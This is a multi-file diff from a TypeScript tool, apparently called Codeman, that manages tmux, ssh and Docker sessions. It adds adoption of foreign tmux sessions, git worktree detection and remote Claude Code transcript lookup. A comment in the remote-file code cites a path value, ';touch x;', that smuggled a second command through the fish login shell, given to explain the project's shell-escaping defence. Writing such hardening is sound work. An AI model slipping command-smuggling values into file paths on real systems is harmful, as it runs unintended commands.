* exec. Never `create`, never `start`: the container belongs to the user, and a
* missing or stopped one fails closed with a message instead of being mutated.
*/
export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
const name = fshq(opts.containerName);
const notFound = fshq(
`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
);
const notRunning = fshq(
`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
);
const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
const running =
`${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
`|| { echo ${notRunning}; exit 1; }`;
// The same terminal `resolveDockerLaunchOptions` gives an owned container's exec:
// `docker exec -it` defaults to TERM=xterm, which holds the tab to 8 colours.
const terminal = '-e TERM=xterm-256color -e COLORTERM=truecolor';
const exec = `exec ${opts.dockerBase} exec -it ${terminal} ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
return [inspect, running, exec].join(' ; ');
}
/**
* Tear down OUR grouped view session inside a container.
*
* ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
* than a design choice. Killing the wrapper pane kills a LOCAL tmux client
* directly, and over ssh it sends SIGHUP to the remote client (the same
* propagation the non-owned remote attach has relied on since COD-105), either
* way the client detaches and `destroy-unattached on` collects the view.
* A `docker exec` process does NOT die when its client goes away: measured, the
* in-container tmux client stayed attached after the wrapper was killed, so the
* view session survived forever and every adoption leaked one of them plus its
* exec process.
*
* Killing a session by name affects ONLY that session, never the group's other
* members, so this can only ever remove the view Codeman created, never the
* human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
* fired best-effort on the same path.
*/
export function buildForeignDockerViewKillCommand(opts: {
dockerBase: string;
containerName: string;
socketPath: string;
viewSession: string;
}): string {
return (
`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
`tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(`=${opts.viewSession}`)}`
);
}
/**
* A POSIX script as the command line of an ssh connection.
*
* ssh hands its command to the remote user's LOGIN shell, which may be fish: the
* guard chain's `{ ...; }` and the probe's `${VAR:-x}` are POSIX, so they run in an
* explicit `sh`. The PATH line stays outside it because it is the part written for
* whatever that shell is (`withRemoteTmuxPath`), and sshd's non-interactive PATH can
* miss a Homebrew or per-user tmux, the same reason every other remote tmux call has
* it. Single-quote-free input stays single-quote-free here, and `exec` keeps the
* process tree one level shorter.
*/
export function foreignRemoteShellCommand(script: string): string {
return withRemoteTmuxPath(`exec sh -c ${fshq(script)}`);
}
export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
/** `buildSshConnectionArgs(host)`: `['ssh', '-o BatchMode=yes', ...]`. */
sshArgs: string[];
/** `remoteSshTarget(host)`: `user@host`. */
sshTarget: string;
}
/**
* Remote adoption: ssh in and attach there.
*
* `-t` goes right after `ssh -o BatchMode=yes`, exactly where
* `buildRemoteAttachCommand` puts it: interactive tmux needs a PTY. Connection
* options come from the shared `buildSshConnectionArgs`, never hand-built here,
* so adoption reaches a proxied/custom-port host on the same terms discovery did.
*/
export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
const [ssh, batchMode, ...rest] = opts.sshArgs;
return [
ssh,
batchMode,
'-t',
...rest,
opts.sshTarget,
fshq(foreignRemoteShellCommand(buildForeignTmuxInvocation(opts))),
]
.filter(Boolean)
.join(' ');
}
+3 -1
View File
@@ -79,6 +79,8 @@ export interface GitFetchSessionView {
/** `unknown`, not `boolean`: a session's remote/Docker markers are objects, and the only question here is whether either is set at all. */
remote?: unknown;
docker?: unknown;
/** Set on a wrapper around a foreign tmux session: its `workingDir` is a neutral folder, never a repository. */
adopt?: unknown;
gitFetchEnabled?: boolean;
gitFetchIntervalSeconds?: number;
}
@@ -176,7 +178,7 @@ export class GitFetchScheduler {
const groups = new Map<string, GroupMember[]>();
for (const id of this.ports.sessionIds()) {
const view = this.ports.getSession(id);
if (!view || view.remote || view.docker) continue;
if (!view || view.remote || view.docker || view.adopt) continue;
const effective = effectiveGitFetch(view, settings);
if (!effective.enabled) continue;
const folder = resolve(view.workingDir);
+1 -1
View File
@@ -350,7 +350,7 @@ export interface GitFetchEntry {
export interface GitFetchReport {
/** `ok` when at least one repository was fetched (or attempted); the other states are as in the overview. */
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
/** One entry per repository fetched, in the same order the panel lists them. */
repos: GitFetchEntry[];
+2 -2
View File
@@ -96,7 +96,7 @@ export interface GitWorkspaceStatus {
* `unsupported`: a remote or Docker session (never inspected). `error`: git failed; see `error`.
*/
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
repoRoot?: string;
/** Null when HEAD is detached. */
@@ -485,7 +485,7 @@ export interface GitRepoEntry {
export interface GitWorkspaceOverview {
/** `ok` when at least one repository was found; the other states are as in `GitWorkspaceStatus`. */
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
repos: GitRepoEntry[];
/** More than `repoLimit` repositories were found; only the first are reported. */
+2 -1
View File
@@ -1433,7 +1433,8 @@ export async function installAgentSkillInto(skillDir: string): Promise<AgentSkil
* the skill (`agentSkillDir()` non-null, any CLI: the preamble is bash + curl + jq, nothing
* claude-specific; a remote or in-container HOME is not this filesystem) and treat it as
* best-effort: the skill's §0 fallback block self-heals a missing or stale file. Codex
* caveat: codex 0.162 runs tool commands in a shared app-server daemon whose
* caveat: a local codex started without `--no-daemon` (older than 0.162, or its version
* probe failed) can run tool commands in a shared app-server daemon whose
* `CODEMAN_SESSION_ID` is the starting session's, so its loader looks for that session's
* file and its self id is wrong; the skill tells the agent how to notice.
*/
+100
View File
@@ -0,0 +1,100 @@
/**
* @fileoverview Which linked git worktree a session's pane is in.
*
* Claude Code's worktree feature moves the running `claude` process into
* `<repo>/.claude/worktrees/<name>` part way through a session. `Session.workingDir` is the
* session's identity and stays on the main checkout, so the Files panel kept listing a tree the
* agent had left (#765). `Session.paneCwd` does follow: tmux reads the process cwd, measured with
* Claude Code 2.1.318 going into a worktree on EnterWorktree and back on ExitWorktree. It also
* follows every `cd` in a shell session, so it cannot be the panel's root by itself. This module
* answers the narrower question: is the pane inside a linked worktree, and which one.
*
* A linked worktree is recognised by its `.git` FILE (`gitdir: <repo>/.git/worktrees/<id>`) rather
* than by running `git worktree list`: this runs from the pane watcher whenever a directory
* changes, and a file read starts no process, no repository config and no filter.
*
* Only a folder strictly below `workingDir` is ever an answer: the file routes already serve
* everything under it, so following a pane there widens nothing, and a planted `.git` file can
* only move where the listing STARTS inside that same folder. A worktree outside it
* (`git worktree add ../feature`) stays unfollowed, since listing it would need a second
* confinement root.
*
* That answer is lexical and only as fresh as the last time the pane moved: a symlink can take the
* folder's place afterwards without moving the pane. So nothing here is a confinement decision.
* `GET /api/sessions/:id/files` resolves the folder on every request and walks it only while it
* really lies inside `workingDir` (`canWalkLiveWorktree()` in file-routes.ts), and the routes keep
* judging every path against `workingDir`.
*
* Probes are bounded (#516). The folder can sit on a mount that stopped answering, and an
* `unknown` answer stops the walk rather than being read as "no `.git` here".
*
* @module live-worktree
*/
import { constants, promises as fs } from 'node:fs';
import { basename, dirname, join } from 'node:path';
import { probePathKind } from './utils/bounded-path-probe.js';
/** A linked worktree a session's pane is in. */
export interface LiveWorktree {
/** The worktree folder's name, for display. */
name: string;
/** Absolute path, spelled like the session's `workingDir`. */
path: string;
}
/** More than any real `.git` file. It is read only to recognise the first line. */
const MAX_DOT_GIT_FILE_BYTES = 4096;
/**
* Whether the text of a `.git` file names a linked worktree's git dir
* (`<common dir>/worktrees/<id>`), as opposed to a submodule's (`<common dir>/modules/<name>`).
* The path may be relative: `git worktree add --relative-paths` writes it that way.
*/
export function isLinkedWorktreeGitFile(text: string): boolean {
const gitDir = /^gitdir:[ \t]*(.+?)[ \t]*$/m.exec(text)?.[1];
if (!gitDir) return false;
const segments = gitDir.split('/').filter(Boolean);
return segments.length >= 2 && segments[segments.length - 2] === 'worktrees';
}
/** What `<dir>/.git` says: a linked worktree's root, a boundary the walk must stop at, or nothing. */
async function classifyDotGit(dir: string): Promise<'worktree' | 'stop' | 'none'> {
const dotGit = join(dir, '.git');
const kind = await probePathKind(dotGit);
if (kind === 'absent') return 'none';
// A `.git` directory is a repository of its own, and `unknown` is never read as absent.
if (kind !== 'file') return 'stop';
let handle: fs.FileHandle | undefined;
try {
// The probe follows symlinks and the file can change after it, so the open itself refuses:
// O_NOFOLLOW a symlink, and O_NONBLOCK a FIFO, which would otherwise wait for a writer and
// hold a threadpool worker for good. Whatever it did open is then judged on the handle.
handle = await fs.open(dotGit, constants.O_RDONLY | constants.O_NOFOLLOW | constants.O_NONBLOCK);
if (!(await handle.stat()).isFile()) return 'stop';
const { buffer, bytesRead } = await handle.read(Buffer.alloc(MAX_DOT_GIT_FILE_BYTES), 0, MAX_DOT_GIT_FILE_BYTES, 0);
return isLinkedWorktreeGitFile(buffer.toString('utf8', 0, bytesRead)) ? 'worktree' : 'stop';
} catch {
return 'stop';
} finally {
await handle?.close().catch(() => {});
}
}
/**
* The linked worktree strictly below `workingDir` that holds `cwd`, if any. Walks up from `cwd`
* and stops at `workingDir`, at a repository or submodule of its own, or at anything it cannot
* read. `workingDir` itself is never an answer: a session started in a worktree is already
* listing it. Never throws.
*/
export async function findLiveWorktree(workingDir: string, cwd: string | undefined): Promise<LiveWorktree | undefined> {
if (!cwd?.startsWith('/')) return undefined;
const root = workingDir.length > 1 ? workingDir.replace(/\/+$/, '') : workingDir;
const under = root === '/' ? '/' : `${root}/`;
for (let dir = cwd; dir !== root && dir.startsWith(under); dir = dirname(dir)) {
const found = await classifyDotGit(dir);
if (found === 'worktree') return { name: basename(dir), path: dir };
if (found === 'stop') return undefined;
}
return undefined;
}
+12
View File
@@ -26,6 +26,7 @@ import type {
SessionRemote,
SessionDocker,
PaneExit,
SessionAdopt,
StatusLineExporter,
} from './types.js';
@@ -47,6 +48,13 @@ export interface MuxSession {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/**
* Adoption metadata for a wrapper session around a human-started tmux session.
* Round-trips through `mux-sessions.json` like remote/docker: without it a
* restored wrapper would not know what to re-attach to, and `killSession`
* would lose the detach-not-kill guard.
*/
adopt?: SessionAdopt;
/** Owning username in multi-user mode (round-tripped through recovery like remote/docker) */
owner?: string;
/** Session mode */
@@ -139,6 +147,8 @@ export interface CreateSessionOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; its presence selects the foreign-attach launch command. */
adopt?: SessionAdopt;
/** Owning username in multi-user mode; persisted for recovery. */
owner?: string;
}
@@ -196,6 +206,8 @@ export interface RespawnPaneOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; a respawn of an adopted wrapper RE-ATTACHES, it never relaunches an agent. */
adopt?: SessionAdopt;
/** Owning username (multi-user); redundant on respawn since the Session object survives, kept for shape parity. */
owner?: string;
}
+10
View File
@@ -127,6 +127,7 @@ export interface RebootRestoreRejection {
| 'agent-exited'
| 'respawn-blocked'
| 'remote-or-docker'
| 'adopted'
| 'unsupported-mode'
| 'no-working-dir'
| 'workspace-missing'
@@ -224,6 +225,15 @@ export function planRebootRestore(
skipped.push({ sessionId, reason: 'remote-or-docker' });
continue;
}
if (state.adopt) {
// ⚠️ Same family as the rule above, different reason. Codeman never started the
// process this session wrapped: all it ever had was an attach command. Replaying
// that builds a connection to a foreign session that a reboot has almost certainly
// taken with it, and, worse, the rebuilt tab would present whatever the attach
// lands on as a session we restored, passing someone else's work off as ours.
skipped.push({ sessionId, reason: 'adopted' });
continue;
}
// Capability, not a CLI id: this pass resumes by handing the CLI a conversation
// id through the top-level `resumeSessionId`, which only a CLI whose history the
// claude-jsonl reader understands can consume that way. Others carry their thread
+583 -7
View File
@@ -17,9 +17,9 @@
*
* ⚠️ The path is the injection surface: it arrives from the browser (`?path=`). It is
* always interpolated as a single `shellescape`d token, and the whole remote command
* is itself shellescaped into the ssh line, so the local shell and the remote shell
* each see one opaque argument. Never build a command here by concatenating a raw
* path into the string.
* is {@link remoteLoginShellLine} shellescaped into the ssh line, so the local shell
* and the remote login shell each see one opaque argument, whichever shell that is.
* Never build a command here by concatenating a raw path into the string.
*
* Read-only by design: previews, text reads and streaming. Writing to a remote file
* is deliberately NOT implemented (docs/file-viewer-edit-plan.md §6), nor are the
@@ -30,8 +30,9 @@ import { exec, spawn } from 'node:child_process';
import { promisify } from 'node:util';
import { PassThrough, type Readable } from 'node:stream';
import type { SessionRemote } from './types/session.js';
import { buildSshConnectionArgs, remoteSshTarget, shellescape } from './remote-hosts.js';
import { buildSshConnectionArgs, remoteSshTarget, shellescape, withRemoteTmuxPath } from './remote-hosts.js';
import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
import type { EditSourceReadOptions, EditSourceRequest, EditSources } from './edit-history-local-source.js';
const execAsync = promisify(exec);
@@ -108,16 +109,42 @@ export class RemoteFileAccessError extends Error {
}
}
/**
* A POSIX script as one line that every remote login shell reads the same way, and hands
* to `sh`.
*
* ⚠️ sshd gives the command to the user's LOGIN shell, and {@link shellescape} quotes for a
* POSIX one. Inside single quotes fish takes `\'` as a literal quote, so `'\''` stops
* closing and reopening the string, and csh and tcsh end a command at a newline even there
* and run the script line by line. Both let a path act as a command (measured: a path
* holding `';touch x;'` ran `touch x` under fish, and one holding a newline ran the next
* line under tcsh). So the script travels as `printf` text with the bytes those shells
* treat specially written as octal: no quote, backslash pair, newline or `!` for the login
* shell to read, and `%` so `printf` keeps its hands off too. Only `sh` sees the script.
*/
export function remoteLoginShellLine(script: string): string {
const text = Array.from(Buffer.from(script), (byte) => {
const char = String.fromCharCode(byte);
return byte < 0x20 || byte > 0x7e || "'\\%!".includes(char) ? `\\${byte.toString(8).padStart(3, '0')}` : char;
}).join('');
return `sh -c 'eval "$(printf "$1")"' sh '${text}'`;
}
/**
* Wrap a remote shell command in the shared, shellescaped ssh line.
*
* The single entry point for "run this on the remote host": connection args (port,
* identity, jump host, SOCKS ProxyCommand, extra `-o`) all come from
* `buildSshConnectionArgs`, and the command is ONE shellescaped token, so a path with
* spaces, quotes or `$(…)` cannot escape into the ssh command line.
* `buildSshConnectionArgs`, and the command is ONE shellescaped token holding
* {@link remoteLoginShellLine}, so a path with spaces, quotes or `$(…)` cannot escape
* into the ssh command line or the remote login shell.
*/
export function buildRemoteFileCommand(remote: SessionRemote, shellCommand: string): string {
return [...buildSshConnectionArgs(remote), remoteSshTarget(remote), shellescape(shellCommand)].join(' ');
return [
...buildSshConnectionArgs(remote),
remoteSshTarget(remote),
shellescape(remoteLoginShellLine(shellCommand)),
].join(' ');
}
/**
@@ -413,6 +440,555 @@ export async function remoteReadFile(remote: SessionRemote, remotePath: string,
}
}
/** Conversation ids are uuids; anything else never reaches the remote shell. */
const CLAUDE_TRANSCRIPT_ID_PATTERN = /^[A-Za-z0-9._-]+$/;
/** Exit status the edit-history scripts use for "no such transcript on that host". */
const TRANSCRIPT_NOT_FOUND_EXIT = 3;
/** Transcript files an edit-source request may name; nothing else reaches the shell. */
const EDIT_SOURCE_REL_PATH_PATTERN = /^(main|subagents\/agent-[A-Za-z0-9_-]+\.jsonl)$/;
/** The meta record's relPath; group 1 is the agentId. */
const EDIT_SOURCE_META_REL_PATH_PATTERN = /^subagents\/agent-([A-Za-z0-9_-]+)\.meta\.json$/;
/** Cap on one subagent `.meta.json` record (outside the transcript budget), as in the local reader. */
const EDIT_SOURCE_META_MAX_BYTES = 8192;
/**
* Cap on all meta records of one read (the local reader has none). A meta comes only with a
* subagent's first read, so one past the cap is never sent: that subagent's transcript is read
* as usual, and the panel names it by its id instead of its description.
*/
const EDIT_SOURCE_META_BUDGET_BYTES = 4 * 1024 * 1024;
/** Room for the record headers (one per transcript file) on top of budget and metas. */
const EDIT_SOURCE_HEADER_SLACK_BYTES = 1024 * 1024;
/**
* Subagent requests per ssh round trip of an edit-history read. Like
* {@link REMOTE_PROBE_CHUNK_SIZE}: the script is ONE argument of the ssh line, Linux caps a
* single argv string at 128 KiB, and each request adds a `case` line of 139 bytes once
* encoded for the login shell (376 with the longest name a filesystem allows; the test pins
* that worst case). See {@link planRemoteEditSourceRounds}.
*/
const EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP = 300;
/**
* The slowest link an edit-history read is given time for. Such a read can carry megabytes
* (a forward pass its budget plus the metas, "Load older" up to three budgets), which a flat
* {@link REMOTE_READ_TIMEOUT_MS} would cut off below ~1 MiB/s. 256 KiB/s ≈ 2 Mbit/s.
*/
const EDIT_SOURCE_MIN_BYTES_PER_SEC = 256 * 1024;
/**
* Timeout of an edit-history read that may return up to `maxBytes`: the flat read timeout plus
* the transfer time at {@link EDIT_SOURCE_MIN_BYTES_PER_SEC}. It ends a hung read (a host that
* fell asleep mid-transfer; no keepalives, see the wake invariants), it does not cut a slow one.
*/
export function remoteEditSourcesTimeoutMs(maxBytes: number): number {
return REMOTE_READ_TIMEOUT_MS + Math.ceil((Math.max(0, maxBytes) / EDIT_SOURCE_MIN_BYTES_PER_SEC) * 1000);
}
/**
* The ssh line of an edit-history lookup or read: {@link buildRemoteFileCommand} with `exec`, so a
* timeout reaches ssh itself. Node signals the local `sh -c`, and dash stays the parent of a
* plain command, which would leave ssh running and the remote read holding its connection.
*/
export function buildRemoteEditHistoryCommand(remote: SessionRemote, shellCommand: string): string {
return `exec ${buildRemoteFileCommand(remote, shellCommand)}`;
}
const TMUX_NAME_PATTERN = /^[A-Za-z0-9._-]+$/;
/** Where a remote session's agent runs: the remote tmux socket and session (`remoteTmuxLocation`). */
export interface RemoteClaudePane {
socket: string;
sessionName: string;
}
function isByteCount(value: unknown): value is number {
return typeof value === 'number' && Number.isSafeInteger(value) && value >= 0;
}
/** De-duplicated ids that match {@link CLAUDE_TRANSCRIPT_ID_PATTERN}, in order. */
function safeClaudeTranscriptIds(ids: readonly string[]): string[] {
return [...new Set(ids)].filter((id) => CLAUDE_TRANSCRIPT_ID_PATTERN.test(id));
}
/** A main transcript path the read script takes: absolute, `<id>.jsonl`, no NUL or newline. */
export function isRemoteClaudeTranscriptPath(path: string): boolean {
if (!path.startsWith('/') || !path.endsWith('.jsonl') || /[\0\n]/.test(path)) return false;
return CLAUDE_TRANSCRIPT_ID_PATTERN.test(path.slice(path.lastIndexOf('/') + 1, -'.jsonl'.length));
}
/**
* Shell lines that set `cfg` to claude's config dir on the remote host: an absolute
* `CLAUDE_CONFIG_DIR` from the ssh command's environment, else `$HOME/.claude`, claude's own
* rule. ⚠️ The remote claude runs under `$SHELL -i -l -c` (`remoteLoginShellCommand`), this
* script under a plain non-interactive `sh` from sshd's `$SHELL -c`: a `CLAUDE_CONFIG_DIR` set
* only in a login or interactive profile (`.profile`, `.bash_profile`, `.zshrc`) is not seen
* here; one from `.zshenv`, sshd `SetEnv` or the system environment is.
*/
function claudeConfigDirLines(): string[] {
return ['cfg=$HOME/.claude', 'case ${CLAUDE_CONFIG_DIR:-} in /*) cfg=$CLAUDE_CONFIG_DIR ;; esac'];
}
/**
* Shell lines that set `live` to the conversation the claude in `pane` is writing NOW,
* or leave it empty; they need `cfg` ({@link claudeConfigDirLines}). Codeman launches a
* remote claude with `--session-id <id>`, but a `/clear` (or a resume picked inside claude)
* starts a new conversation, and with no hooks from a remote host Codeman never hears of it.
* claude itself keeps `<config dir>/sessions/<pid>.json` with the current `sessionId`, so: the
* pane's pid, its children and grandchildren (a wrapper shell may sit in between), the first
* of those with such a file. Only `[A-Za-z0-9._-]` survives the `sed`, the id pattern, so
* `$live` is safe unquoted. `ps -A -o pid= -o ppid=` is POSIX (no GNU `--ppid`).
*
* ⚠️ tmux runs on the PATH of every other remote tmux call ({@link withRemoteTmuxPath}): sshd's
* non-interactive shell may not list the directory it lives in, and a silent miss here leaves
* the panel on the launch conversation after a `/clear`. The `export` stays inside the `$(…)`,
* and inside this script, which runs under `sh` whatever the remote user's login shell is.
*
* ⚠️ `=name:` is an EXACT session match. Without the colon tmux reads a window target, so a
* session that is gone resolves to a window of that name or a session the name is a prefix of,
* and that session's conversation would land in this one's edit history.
*/
function liveClaudeIdLines(pane: RemoteClaudePane | undefined): string[] {
if (!pane || !TMUX_NAME_PATTERN.test(pane.socket) || !TMUX_NAME_PATTERN.test(pane.sessionName)) return [];
return [
'live=',
`pp=$(${withRemoteTmuxPath(`tmux -L ${shellescape(pane.socket)} list-panes -t ${shellescape(`=${pane.sessionName}:`)} -F '#{pane_pid}' 2>/dev/null | head -n 1`)})`,
"case $pp in ''|*[!0-9]*) pp= ;; esac",
'if [ -n "$pp" ]; then',
' tree=$(ps -A -o pid= -o ppid= 2>/dev/null)',
' kids=$(printf \'%s\\n\' "$tree" | awk -v p="$pp" \'$2 == p { print $1 }\')',
' grand=$(for k in $kids; do printf \'%s\\n\' "$tree" | awk -v p="$k" \'$2 == p { print $1 }\'; done)',
' for c in $pp $kids $grand; do',
' f="$cfg/sessions/$c.json"',
' [ -f "$f" ] || continue',
' live=$(sed -n \'s/.*"sessionId":"\\([A-Za-z0-9._-]*\\)".*/\\1/p\' "$f" | head -n 1)',
' [ -n "$live" ] && break',
' done',
'fi',
];
}
/**
* Script that finds a remote claude session's main transcript and prints `\0<path>\0`;
* exit {@link TRANSCRIPT_NOT_FOUND_EXIT} when there is none. First the conversation the
* claude in `pane` writes now ({@link liveClaudeIdLines}); without one, the most recently
* written transcript of ALL `ids`, not the first id that has one: the conversation claude
* wrote last is the current one whether a `/clear` moved on from the launch id or a respawn
* resumed it again, and no order of the ids gets both right. Each id is looked up as
* `<config dir>/projects/*\/<id>.jsonl` ({@link claudeConfigDirLines}). `$HOME` is expanded
* by the REMOTE shell: the transcript lives in the remote user's home, which the server
* cannot know.
*
* ⚠️ Runs under an explicit `sh` with `LC_ALL=C`: sshd runs a command in the remote user's
* LOGIN shell, and on a zsh host `ls` can be an alias and an unmatched glob aborts the whole
* script ("no matches found"). So: no `ls` at all, the newest file wins via `-nt`, and an
* `[ -f ]` guard on every glob. `C` makes bracket ranges and glob order plain bytes.
*/
export function buildRemoteClaudeTranscriptLocateCommand(ids: readonly string[], pane?: RemoteClaudePane): string {
const safeIds = safeClaudeTranscriptIds(ids);
if (safeIds.length === 0) return `exit ${TRANSCRIPT_NOT_FOUND_EXIT}`;
const liveLines = liveClaudeIdLines(pane);
const script = [
'LC_ALL=C',
'export LC_ALL',
'best=',
...claudeConfigDirLines(),
// newest <id>: `best` becomes that id's transcript if it is newer than the current best.
// BusyBox's (and bash 3.2's) `-nt` compares whole seconds: a tie keeps the earlier id, the
// stored conversation, until the next write; only without a live id.
'newest() {',
' for f in "$cfg"/projects/*/"$1".jsonl; do',
' [ -f "$f" ] || continue',
' if [ -z "$best" ] || [ "$f" -nt "$best" ]; then best=$f; fi',
' done',
'}',
...liveLines,
...(liveLines.length ? ['[ -z "$live" ] || newest "$live"'] : []),
'if [ -z "$best" ]; then',
` for id in ${safeIds.map((id) => shellescape(id)).join(' ')}; do newest "$id"; done`,
'fi',
`[ -n "$best" ] || exit ${TRANSCRIPT_NOT_FOUND_EXIT}`,
'printf \'\\0%s\\0\' "$best"',
].join('\n');
return `sh -c ${shellescape(script)}`;
}
/** The path from {@link buildRemoteClaudeTranscriptLocateCommand} output; null when there is none. */
export function parseRemoteClaudeTranscriptLocate(stdout: Buffer): string | null {
const start = stdout.indexOf(0);
const end = start === -1 ? -1 : stdout.indexOf(0, start + 1);
if (end === -1) return null;
const path = stdout.toString('utf8', start + 1, end);
return isRemoteClaudeTranscriptPath(path) ? path : null;
}
/**
* Find a remote claude session's main transcript in ONE ssh round trip (see
* {@link buildRemoteClaudeTranscriptLocateCommand}). `null` when it has none; an unreachable
* host, an ssh failure or broken output is a `RemoteFileAccessError`. Never wakes a host: a
* sleeping one is a connect timeout, like every other read in this module.
*/
export async function remoteLocateClaudeTranscript(
remote: SessionRemote,
ids: readonly string[],
pane?: RemoteClaudePane
): Promise<string | null> {
assertNotUnderTest();
const command = buildRemoteEditHistoryCommand(remote, buildRemoteClaudeTranscriptLocateCommand(ids, pane));
let stdout: Buffer;
try {
const result = await runWithRemoteSshLimit(() =>
execAsync(command, { timeout: REMOTE_READ_TIMEOUT_MS, maxBuffer: READ_BUFFER_SLACK_BYTES, encoding: 'buffer' })
);
stdout = Buffer.isBuffer(result.stdout) ? result.stdout : Buffer.from(result.stdout);
} catch (err) {
if ((err as { code?: unknown }).code === TRANSCRIPT_NOT_FOUND_EXIT) return null;
throw new RemoteFileAccessError(
`remote host ${remote.label || remote.host} unreachable: ${describeExecError(err)}`
);
}
const path = parseRemoteClaudeTranscriptLocate(stdout);
if (!path) throw new RemoteFileAccessError('unexpected output from the remote transcript lookup');
return path;
}
/** The requests a read script may take: the first per relPath, valid ones only. */
function validEditSourceRequests(requests: readonly EditSourceRequest[]): Map<string, EditSourceRequest> {
const byRelPath = new Map<string, EditSourceRequest>();
for (const request of requests) {
if (!request || typeof request.relPath !== 'string') continue;
if (!EDIT_SOURCE_REL_PATH_PATTERN.test(request.relPath)) continue;
if (!isByteCount(request.offset)) continue;
if (request.len !== undefined && !isByteCount(request.len)) continue;
if (byRelPath.has(request.relPath)) continue;
byRelPath.set(request.relPath, request);
}
return byRelPath;
}
/** One ssh round trip of an edit-history read ({@link planRemoteEditSourceRounds}). */
export interface RemoteEditSourceRound {
requests: EditSourceRequest[];
/** It reads the main transcript: the first round trip of a read does. */
main: boolean;
/** It takes the subagent files after this name ('' = from the first), in byte order. */
after: string;
/** It takes them up to and including this name ('' = to the last). */
upTo: string;
}
/**
* The ssh round trips a read takes. Up to `perRound` subagent requests fit one; more are sorted
* and cut into groups of `perRound`, or the ssh line would hit `E2BIG` and the session would
* stay `unavailable`: the cursors have no cap and the stored conversation is read first, so
* not even a `/clear` would get past it.
*
* ⚠️ The cuts are NAME RANGES, not only groups of requests. The script takes a file that no
* `case` line names for a new one (its tail, its meta), so a plain group would read every
* file of the other groups as new. Each round trip walks only the names between its cuts; the
* ranges cover every possible name exactly once, so a new file lands in one of them and the
* merged result is the one a single script would give (the fuzz test compares it with the
* local reader).
*/
export function planRemoteEditSourceRounds(
requests: readonly EditSourceRequest[],
perRound: number = EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP
): RemoteEditSourceRound[] {
const valid = validEditSourceRequests(requests);
const subagents = [...valid.values()].filter((request) => request.relPath !== 'main');
if (subagents.length <= perRound) return [{ requests: [...valid.values()], main: true, after: '', upTo: '' }];
const main = valid.get('main');
const fileName = (request: EditSourceRequest): string => request.relPath.slice('subagents/'.length);
subagents.sort((a, b) => (a.relPath < b.relPath ? -1 : 1));
const rounds: RemoteEditSourceRound[] = [];
for (let i = 0; i < subagents.length; i += perRound) {
const group = subagents.slice(i, i + perRound);
rounds.push({
requests: i === 0 && main ? [main, ...group] : group,
main: i === 0,
after: i === 0 ? '' : fileName(subagents[i - 1]),
upTo: i + perRound < subagents.length ? fileName(group[group.length - 1]) : '',
});
}
return rounds;
}
/** What {@link buildRemoteClaudeEditSourcesCommand} takes beyond the local reader's options. */
export interface RemoteEditSourceCommandOptions extends EditSourceReadOptions {
/** Which part of a split read this command is; without it, all of it. */
round?: Pick<RemoteEditSourceRound, 'main' | 'after' | 'upTo'>;
/** Meta bytes this command may send; without it, {@link EDIT_SOURCE_META_BUDGET_BYTES}. */
metaBudget?: number;
}
/**
* Script for one round trip of a read of a remote claude session's main transcript at
* `mainPath` and its subagent transcripts (`<mainPath without .jsonl>/subagents/agent-<id>.jsonl`),
* with exactly the local reader's rules (`readClaudeEditSources`):
*
* - a request without `len` reads from `offset` (clamped to the size);
* - a request with `len` is a block that ends at `offset + len`: short of budget, its end;
* - a file without a request (one the caller has not seen) reads its last bytes, and a new
* subagent's `.meta.json` (≤ {@link EDIT_SOURCE_META_MAX_BYTES}, outside the budget) comes
* along as its own record; with `onlyRequested` such files are left out.
*
* `budgetBytes` is shared by all transcript files, main first, then the subagents in byte
* order. A file that gets none of it still produces a zero-length record, because the caller
* needs its size. Exit {@link TRANSCRIPT_NOT_FOUND_EXIT} when `mainPath` is not a file. A read
* with more requests than fit one script is several of these ({@link planRemoteEditSourceRounds}).
*
* Output: `\0<transcriptId>\0`, then per record `<relPath>\0<size>\0<start>\0<len>\0`
* followed by exactly `<len>` raw bytes. Should a file shrink between `wc -c` and the read,
* the slice is NUL-padded to `<len>` so the framing never shifts.
*
* Inputs never reach the script unchecked: the path via {@link isRemoteClaudeTranscriptPath}
* (and shellescaped), relPaths via {@link EDIT_SOURCE_REL_PATH_PATTERN}, offsets and lengths as
* plain digits; anything invalid is dropped. A subagent file whose name the pattern would
* reject is skipped on the remote side too. Same `sh` + `LC_ALL=C` rules as the lookup.
*/
export function buildRemoteClaudeEditSourcesCommand(
mainPath: string,
requests: readonly EditSourceRequest[],
budgetBytes: number,
opts: RemoteEditSourceCommandOptions = {}
): string {
if (!isRemoteClaudeTranscriptPath(mainPath)) return `exit ${TRANSCRIPT_NOT_FOUND_EXIT}`;
const transcriptId = mainPath.slice(mainPath.lastIndexOf('/') + 1, -'.jsonl'.length);
const byRelPath = validEditSourceRequests(requests);
const budget = Number.isFinite(budgetBytes) ? Math.max(0, Math.floor(budgetBytes)) : 0;
const requestArgs = (request: EditSourceRequest): string =>
